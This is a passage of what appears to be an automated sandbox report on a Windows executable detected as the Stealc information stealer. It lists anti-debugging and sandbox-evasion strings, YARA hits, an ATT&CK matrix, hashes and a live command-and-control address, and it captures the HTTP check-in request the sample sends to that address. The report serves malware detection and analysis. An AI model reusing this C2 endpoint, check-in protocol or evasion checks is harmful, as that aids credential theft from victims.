                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00604B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00604B60
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00603B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,0_2_00603B00
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005FDB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,0_2_005FDB80
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005FBE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,0_2_005FBE40
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005FEE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,0_2_005FEE20
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005FDF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_005FDF10
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005F1160 GetSystemInfo,ExitProcess,0_2_005F1160
                Source: file.exe, file.exe, 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: HARDWARE\ACPI\DSDT\VBOX__
                Source: file.exe, 00000000.00000002.2189856639.0000000000F75000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWx
                Source: file.exe, 00000000.00000002.2189856639.0000000000F48000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMwareVMware
                Source: file.exe, 00000000.00000002.2189856639.0000000000FA8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                Source: file.exe, 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-37863
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-37885
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-37866
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-37878
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-37918
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-37752
                Source: C:\Users\user\Desktop\file.exeSystem information queried: ModuleInformationJump to behavior
                Source: C:\Users\user\Desktop\file.exeProcess information queried: ProcessInformationJump to behavior

                Anti Debugging

                barindex
                Hides threads from debuggers
                Source: C:\Users\user\Desktop\file.exeThread information set: HideFromDebuggerJump to behavior
                Tries to detect sandboxes and other dynamic analysis tools (window names)
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: regmonclass
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: gbdyllo
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: process monitor - sysinternals: www.sysinternals.com
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: procmon_window_class
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: registry monitor - sysinternals: www.sysinternals.com
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: ollydbg
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: filemonclass
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: file monitor - sysinternals: www.sysinternals.com
                Source: C:\Users\user\Desktop\file.exeFile opened: NTICE
                Source: C:\Users\user\Desktop\file.exeFile opened: SICE
                Source: C:\Users\user\Desktop\file.exeFile opened: SIWVID
                Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_005F4610 VirtualProtect ?,00000004,00000100,000000000_2_005F4610
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00609BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00609BB0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00609AA0 mov eax, dword ptr fs:[00000030h]0_2_00609AA0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00607690 GetWindowsDirectoryA,GetVolumeInformationA,GetProcessHeap,RtlAllocateHeap,wsprintfA,0_2_00607690
                Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
                Source: C:\Users\user\Desktop\file.exeMemory protected: page guardJump to behavior

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Yara detected Powershell download and execute
                Source: Yara matchFile source: Process Memory Space: file.exe PID: 3136, type: MEMORYSTR
                Searches for specific processes (likely to inject)
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00609790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,0_2_00609790
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006098E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,0_2_006098E0
                Source: file.exe, file.exe, 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: Program Manager
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006375A8 cpuid 0_2_006375A8
                Source: C:\Users\user\Desktop\file.exeCode function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,0_2_00607D20
                Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00607B10 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,0_2_00607B10
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006079E0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,0_2_006079E0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00607BC0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,0_2_00607BC0

                Stealing of Sensitive Information

                barindex
                Yara detected Stealc
                Source: Yara matchFile source: 0.2.file.exe.5f0000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000003.2143190137.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.2189856639.0000000000F48000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: file.exe PID: 3136, type: MEMORYSTR
                Source: Yara matchFile source: decrypted.memstr, type: MEMORYSTR
                Source: Yara matchFile source: dump.pcap, type: PCAP

                Remote Access Functionality

                barindex
                Yara detected Stealc
                Source: Yara matchFile source: 0.2.file.exe.5f0000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000003.2143190137.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.2189856639.0000000000F48000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: file.exe PID: 3136, type: MEMORYSTR
                Source: Yara matchFile source: decrypted.memstr, type: MEMORYSTR
                Source: Yara matchFile source: dump.pcap, type: PCAP

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
                Command and Scripting Interpreter                		1
                DLL Side-Loading                		11
                Process Injection                		1
                Masquerading                		OS Credential Dumping2
                System Time Discovery                		Remote Services1
                Archive Collected Data                		2
                Encrypted Channel                		Exfiltration Over Other Network MediumAbuse Accessibility Features
                CredentialsDomainsDefault Accounts12
                Native API                		Boot or Logon Initialization Scripts1
                DLL Side-Loading                		33
                Virtualization/Sandbox Evasion                		LSASS Memory641
                Security Software Discovery                		Remote Desktop ProtocolData from Removable Media2
                Ingress Tool Transfer                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)11
                Disable or Modify Tools                		Security Account Manager33
                Virtualization/Sandbox Evasion                		SMB/Windows Admin SharesData from Network Shared Drive2
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
                Process Injection                		NTDS13
                Process Discovery                		Distributed Component Object ModelInput Capture12
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                Deobfuscate/Decode Files or Information                		LSA Secrets1
                Account Discovery                		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts4
                Obfuscated Files or Information                		Cached Domain Credentials1
                System Owner/User Discovery                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items12
                Software Packing                		DCSync1
                File and Directory Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                DLL Side-Loading                		Proc Filesystem334
                System Information Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                file.exe100%AviraTR/Crypt.TPM.Gen
                file.exe100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                https://docs.rs/getrandom#nodejs-es-module-support0%URL Reputationsafe

                Domains and IPs

                Contacted Domains

                ⊘No contacted domains info

                Contacted URLs

                NameMaliciousAntivirus DetectionReputation
                http://185.215.113.206/6c4adf523b719729.phptrue
                  		unknown
                  http://185.215.113.206/true
                    		unknown

                    URLs from Memory and Binaries

                    NameSourceMaliciousAntivirus DetectionReputation
                    http://185.215.113.206/6c4adf523b719729.phpdfile.exe, 00000000.00000002.2189856639.0000000000F89000.00000004.00000020.00020000.00000000.sdmpfalse
                      		unknown
                      http://185.215.113.206/6c4adf523b719729.phpMfile.exe, 00000000.00000002.2189856639.0000000000F89000.00000004.00000020.00020000.00000000.sdmpfalse
                        		unknown
                        http://185.215.113.206file.exe, 00000000.00000002.2189856639.0000000000F2E000.00000004.00000020.00020000.00000000.sdmptrue
                          		unknown
                          http://185.215.113.206/6c4adf523b719729.phpyfile.exe, 00000000.00000002.2189856639.0000000000F89000.00000004.00000020.00020000.00000000.sdmpfalse
                            		unknown
                            http://185.215.113.206/6c4adf523b719729.phpzfile.exe, 00000000.00000002.2189856639.0000000000F89000.00000004.00000020.00020000.00000000.sdmpfalse
                              		unknown
                              http://185.215.113.206/6c4adf523b719729.php%file.exe, 00000000.00000002.2189856639.0000000000F89000.00000004.00000020.00020000.00000000.sdmpfalse
                                		unknown
                                http://185.215.113.206/6c4adf523b719729.phpUfile.exe, 00000000.00000002.2189856639.0000000000F89000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		unknown
                                  http://185.215.113.206/6c4adf523b719729.phpefile.exe, 00000000.00000002.2189856639.0000000000F89000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		unknown
                                    https://docs.rs/getrandom#nodejs-es-module-supportfile.exe, file.exe, 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2143190137.0000000004BCB000.00000004.00001000.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown

                                    World Map of Contacted IPs

                                    • No. of IPs < 25%
                                    • 25% < No. of IPs < 50%
                                    • 50% < No. of IPs < 75%
                                    • 75% < No. of IPs

                                    Public IPs

                                    IPDomainCountryFlagASNASN NameMalicious
                                    185.215.113.206
                                    		unknownPortugal
                                    		206894WHOLESALECONNECTIONSNLtrue

                                    General Information

                                    Joe Sandbox version:41.0.0 Charoite
                                    Analysis ID:1546221
                                    Start date and time:2024-10-31 16:34:06 +01:00
                                    Joe Sandbox product:CloudBasic
                                    Overall analysis duration:0h 5m 20s
                                    Hypervisor based Inspection enabled:false
                                    Report type:full
                                    Cookbook file name:default.jbs
                                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                    Number of analysed new started processes analysed:5
                                    Number of new started drivers analysed:0
                                    Number of existing processes analysed:0
                                    Number of existing drivers analysed:0
                                    Number of injected processes analysed:0
                                    Technologies:
                                    • HCA enabled
                                    • EGA enabled
                                    • AMSI enabled
                                    Analysis Mode:default
                                    Analysis stop reason:Timeout
                                    Sample name:file.exe
                                    Detection:MAL
                                    Classification:mal100.troj.evad.winEXE@1/0@0/1
                                    EGA Information:
                                    • Successful, ratio: 100%
                                    HCA Information:
                                    • Successful, ratio: 80%
                                    • Number of executed functions: 19
                                    • Number of non-executed functions: 127
                                    Cookbook Comments:
                                    • Found application associated with file extension: .exe

                                    Warnings

                                    • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                                    • Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                    • Report size getting too big, too many NtQueryValueKey calls found.
                                    • VT rate limit hit for: file.exe

                                    Simulations

                                    Behavior and APIs

                                    ⊘No simulations

                                    Joe Sandbox View / Context

                                    IPs

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    185.215.113.206file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                    • 185.215.113.206/6c4adf523b719729.php
                                    file.exeGet hashmaliciousStealc, VidarBrowse
                                    • 185.215.113.206/6c4adf523b719729.php
                                    file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                    • 185.215.113.206/6c4adf523b719729.php
                                    file.exeGet hashmaliciousStealcBrowse
                                    • 185.215.113.206/6c4adf523b719729.php
                                    file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                    • 185.215.113.206/6c4adf523b719729.php
                                    file.exeGet hashmaliciousStealc, VidarBrowse
                                    • 185.215.113.206/6c4adf523b719729.php
                                    file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                    • 185.215.113.206/6c4adf523b719729.php
                                    file.exeGet hashmaliciousStealcBrowse
                                    • 185.215.113.206/6c4adf523b719729.php
                                    file.exeGet hashmaliciousStealc, VidarBrowse
                                    • 185.215.113.206/6c4adf523b719729.php
                                    file.exeGet hashmaliciousStealcBrowse
                                    • 185.215.113.206/6c4adf523b719729.php

                                    Domains

                                    ⊘No context

                                    ASNs

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    WHOLESALECONNECTIONSNLfile.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                    • 185.215.113.206
                                    file.exeGet hashmaliciousStealc, VidarBrowse
                                    • 185.215.113.206
                                    file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                    • 185.215.113.206
                                    file.exeGet hashmaliciousStealcBrowse
                                    • 185.215.113.206
                                    file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                    • 185.215.113.206
                                    file.exeGet hashmaliciousStealc, VidarBrowse
                                    • 185.215.113.206
                                    file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                    • 185.215.113.206
                                    file.exeGet hashmaliciousStealcBrowse
                                    • 185.215.113.206
                                    file.exeGet hashmaliciousStealc, VidarBrowse
                                    • 185.215.113.206
                                    file.exeGet hashmaliciousStealcBrowse
                                    • 185.215.113.206

                                    JA3 Fingerprints

                                    ⊘No context

                                    Dropped Files

                                    ⊘No context

                                    Created / dropped Files

                                    ⊘No created / dropped files found

                                    Static File Info

                                    General

                                    File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                    Entropy (8bit):7.957759795153841
                                    TrID:
                                    • Win32 Executable (generic) a (10002005/4) 99.96%
                                    • Generic Win/DOS Executable (2004/3) 0.02%
                                    • DOS Executable Generic (2002/1) 0.02%
                                    • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                    File name:file.exe
                                    File size:2'137'088 bytes
                                    MD5:9ee120f9536a150c01a708c545dfe737
                                    SHA1:e09dd49e147b47b6234a1cceba6c7c1f46cfe562
                                    SHA256:d3cbd6a1899c35e285104442edb74f93eb064d01aff39df137f66fed9448619d
                                    SHA512:46b09b9de936dd941cf94f4eba50016ab873e91bc3ff01d75920595b106b942ac1782b3a896017dd34fb1728193b93df28a651529b2dbc76a520eb30253eacea
                                    SSDEEP:49152:0da/6ELvAoi5AAvZtHKwBsxTCT+pydLp3gJeriYZLn:8a5v85NnBsxTCTDp3g9YB
                                    TLSH:2FA533FB1873907CF4CA06331D5B698EB829794A2DFB6D0CE3580FB12A74398745E646
                                    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

                                    File Icon

                                    Icon Hash:00928e8e8686b000

                                    Static PE Info

                                    General

                                    Entrypoint:0xb29000
                                    Entrypoint Section:.taggant
                                    Digitally signed:false
                                    Imagebase:0x400000
                                    Subsystem:windows gui
                                    Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                    DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                    Time Stamp:0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
                                    TLS Callbacks:
                                    CLR (.Net) Version:
                                    OS Version Major:5
                                    OS Version Minor:1
                                    File Version Major:5
                                    File Version Minor:1
                                    Subsystem Version Major:5
                                    Subsystem Version Minor:1
                                    Import Hash:2eabe9054cad5152567f0699947a2c5b

                                    Entrypoint Preview

                                    Instruction
                                    jmp 00007EFD08CABA2Ah

                                    Rich Headers

                                    Programming Language:
                                    • [C++] VS2010 build 30319
                                    • [ASM] VS2010 build 30319
                                    • [ C ] VS2010 build 30319
                                    • [ C ] VS2008 SP1 build 30729
                                    • [IMP] VS2008 SP1 build 30729
                                    • [LNK] VS2010 build 30319

                                    Data Directories

                                    NameVirtual AddressVirtual Size Is in Section
                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_IMPORT0x2e90500x64.idata
                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0x00x0
                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x2e91f80x8.idata
                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                    Sections

                                    NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                    0x10000x2e70000x6760063ac7948fa6728f999e3b581fbe5ea1cunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                    .rsrc 0x2e80000x10000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                    .idata 0x2e90000x10000x200049071433b9f7c843453337b0fd53002False0.1328125data0.8946074494647072IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                    0x2ea0000x29f0000x200f4306a452682f3509c3f8fb5a1f5b5d2unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                    eqnrkxus0x5890000x19f0000x19ec00a5c388a0404819e40478fe9c1411db7aFalse0.9945791657248343data7.953335707487061IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                    upizgxhc0x7280000x10000x4001c55d0a7931b40f117c2b4d596fb1c73False0.8095703125data6.254214867643525IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                    .taggant0x7290000x30000x2200394f1156d16eda1f033e2b1511cbbfc9False0.06215533088235294DOS executable (COM)0.776534911506904IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                                    Imports

                                    DLLImport
                                    kernel32.dlllstrcpy

                                    Network Behavior

                                    Suricata IDS Alerts

                                    TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                    2024-10-31T16:35:02.626849+01002044243ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in1192.168.2.649710185.215.113.20680TCP
                                    2024-10-31T16:35:16.648870+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow14.175.87.197443192.168.2.649752TCP
                                    2024-10-31T16:35:55.098627+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow14.175.87.197443192.168.2.649941TCP

                                    Network Port Distribution

                                    TCP Packets

                                    TimestampSource PortDest PortSource IPDest IP
                                    Oct 31, 2024 16:35:01.392779112 CET4971080192.168.2.6185.215.113.206
                                    Oct 31, 2024 16:35:01.397731066 CET8049710185.215.113.206192.168.2.6
                                    Oct 31, 2024 16:35:01.397819042 CET4971080192.168.2.6185.215.113.206
                                    Oct 31, 2024 16:35:01.398403883 CET4971080192.168.2.6185.215.113.206
                                    Oct 31, 2024 16:35:01.403327942 CET8049710185.215.113.206192.168.2.6
                                    Oct 31, 2024 16:35:02.328778982 CET8049710185.215.113.206192.168.2.6
                                    Oct 31, 2024 16:35:02.329014063 CET4971080192.168.2.6185.215.113.206
                                    Oct 31, 2024 16:35:02.332288980 CET4971080192.168.2.6185.215.113.206
                                    Oct 31, 2024 16:35:02.337182999 CET8049710185.215.113.206192.168.2.6
                                    Oct 31, 2024 16:35:02.626771927 CET8049710185.215.113.206192.168.2.6
                                    Oct 31, 2024 16:35:02.626848936 CET4971080192.168.2.6185.215.113.206
                                    Oct 31, 2024 16:35:05.100511074 CET4971080192.168.2.6185.215.113.206

                                    HTTP Request Dependency Graph

                                    • 185.215.113.206

                                    HTTP Packets

                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    0192.168.2.649710185.215.113.206803136C:\Users\user\Desktop\file.exe
                                    TimestampBytes transferredDirectionData
                                    Oct 31, 2024 16:35:01.398403883 CET90OUTGET / HTTP/1.1
                                    Host: 185.215.113.206
                                    Connection: Keep-Alive
                                    Cache-Control: no-cache
                                    Oct 31, 2024 16:35:02.328778982 CET203INHTTP/1.1 200 OK
                                    Date: Thu, 31 Oct 2024 15:35:02 GMT
                                    Server: Apache/2.4.41 (Ubuntu)
                                    Content-Length: 0
                                    Keep-Alive: timeout=5, max=100
                                    Connection: Keep-Alive
                                    Content-Type: text/html; charset=UTF-8
                                    Oct 31, 2024 16:35:02.332288980 CET413OUTPOST /6c4adf523b719729.php HTTP/1.1
                                    Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJD
                                    Host: 185.215.113.206
                                    Content-Length: 211
                                    Connection: Keep-Alive
                                    Cache-Control: no-cache
                                    Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 30 41 44 32 45 34 43 36 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 2d 2d 0d 0a
                                    Data Ascii: ------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="hwid"8E0AD2E4C67B1953448019------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="build"tale------GIIIECBGDHJJKFIDAKJD--
                                    Oct 31, 2024 16:35:02.626771927 CET210INHTTP/1.1 200 OK
                                    Date: Thu, 31 Oct 2024 15:35:02 GMT
                                    Server: Apache/2.4.41 (Ubuntu)
                                    Content-Length: 8
                                    Keep-Alive: timeout=5, max=99
                                    Connection: Keep-Alive
                                    Content-Type: text/html; charset=UTF-8
                                    Data Raw: 59 6d 78 76 59 32 73 3d
                                    Data Ascii: YmxvY2s=


                                    Statistics

                                    CPU Usage

                                    Click to jump to process

                                    Memory Usage

                                    Click to jump to process

                                    High Level Behavior Distribution

                                    Click to dive into process behavior distribution

                                    System Behavior

                                    General

                                    Target ID:0
                                    Start time:11:34:57
                                    Start date:31/10/2024
                                    Path:C:\Users\user\Desktop\file.exe
                                    Wow64 process (32bit):true
                                    Commandline:"C:\Users\user\Desktop\file.exe"
                                    Imagebase:0x5f0000
                                    File size:2'137'088 bytes
                                    MD5 hash:9EE120F9536A150C01A708C545DFE737
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Yara matches:
